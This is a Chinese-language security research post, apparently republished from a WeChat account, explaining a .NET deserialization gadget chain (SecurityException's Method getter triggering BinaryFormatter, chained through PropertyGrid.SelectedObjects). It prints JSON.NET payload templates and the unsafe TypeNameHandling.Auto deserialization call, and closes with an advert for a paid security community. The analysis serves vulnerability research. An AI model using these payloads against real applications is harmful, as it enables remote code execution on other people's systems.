.NET 最新gadget GetterSecurityException
2023-11-13 08:36:29 Author: dotNet安全矩阵(查看原文) 阅读量:9 收藏

细致解读2023年Hexacon会议上发表的 .NET 反序列化最新链路的白皮书,本次介绍 GetterSecurityException gadget,System.Security.SecurityException位于mscorlib.dll程序集,用于应用程序尝试执行需要特定权限的操作时,因权限不足或与CAS策略冲突时导致的异常错误信息。

原文发于dotNet安全矩阵知识星球:

更多.NET反序列化漏洞列表:https://github.com/Ivan1ee/NET-Deserialize

SecurityException类的Method成员,对象访问器Getter调用了内部方法this.getMethod(),修改器Setter通过ObjectToByteArray方法转换为字节,如下图所示

通过反编译ObjectToByteArray得知,内部使用BinaryFormatter.Serialize将对象序列化成一个MemoryStream,并通过ToArray方法返回byte[]类型,如下图所示

因此访问SecurityException对象的Method属性时触发的getMethod()方法,一定是通过BinaryFormatter格式化器反序列化对象,打开后发现调用了ByteArrayToObject,如下图所示

从方法名知道ByteArrayToObject正好与Setter里的ObjectToByteArray相反,用于反序列化操作,如下图所示

因此攻击者控制Method属性通过setter赋值的方式添加BinaryFormatter攻击载荷,便能在调用getter时触发反序列化漏洞。

System.Windows.Forms.PropertyGrid Windows Forms中的一个控件,通常用于创建属性窗格,便于用户直观地查看和编辑对象的属性值。这个gadget是通过修改器setter设置SelectedObjects属性时触发的,该setter很复杂并且包含大量代码,重要的是Refresh()方法,如下图所示

Refresh方法触发RefreshProperties、UpdateSelection、CreateChildren这一系列的多个方法的调用,然后进入GridEntry.GetPropEntries,如下图所示

该方法内部迭代对象的成员,并通过PropertyDescriptor2.GetValue方法获取每个成员值,这个过程会调用每个成员的访问器getter

根据上述两条链路的原理性分析,我们可以尝试着构造用于恶意反序列化的攻击代码,结合Ysoserial.Net的代码实现如下

payload = @"{    '$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089',    'SelectedObjects':[" + sePayload + @"]}";

PropertyGrid类 的SelectedObjects属性是一个数组,由包含了攻击载荷的变量sePayload 构建的,sePayload变量定义的代码如下

string sePayload = @"{    '$type':'System.Security.SecurityException',    'ClassName':'System.Security.SecurityException',    'Message':'Security error.',    'InnerException':null,    'HelpURL':null,    'StackTraceString':null,    'RemoteStackTraceString':null,    'RemoteStackIndex':0,    'ExceptionMethod':null,    'HResult':-2146233078,    'Source':null,    'Action':0,    'Method':'" + b64encoded + @"',    'Zone':0}";

Method是一组进行Base64编码后基于BinaryFormatter生成的攻击载荷,原理前文已经分析过,此处不再赘述,调试时打印出完整的Payload,如下贴图所示

Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings{    TypeNameHandling = TypeNameHandling.Auto});return obj;

最后通过上面这段JSON.NET代码完成整条攻击链路的反序列化,成功启动本地计算器进程,如下图所示

高清版本的pdf文档已同步在星球,如下图

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展经过运营团队成员商议一致同意给到师傅们最大优惠力度,只需129元就可以加入我们。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等,后续还会倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247489369&idx=1&sn=8bb31b5a840231392ab683c09a5b4715&chksm=fa5ab9b4cd2d30a2e98f08e961abb2f01817b833fbb6e534e1f2a26b69321e0c9afa06b3bf7b&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh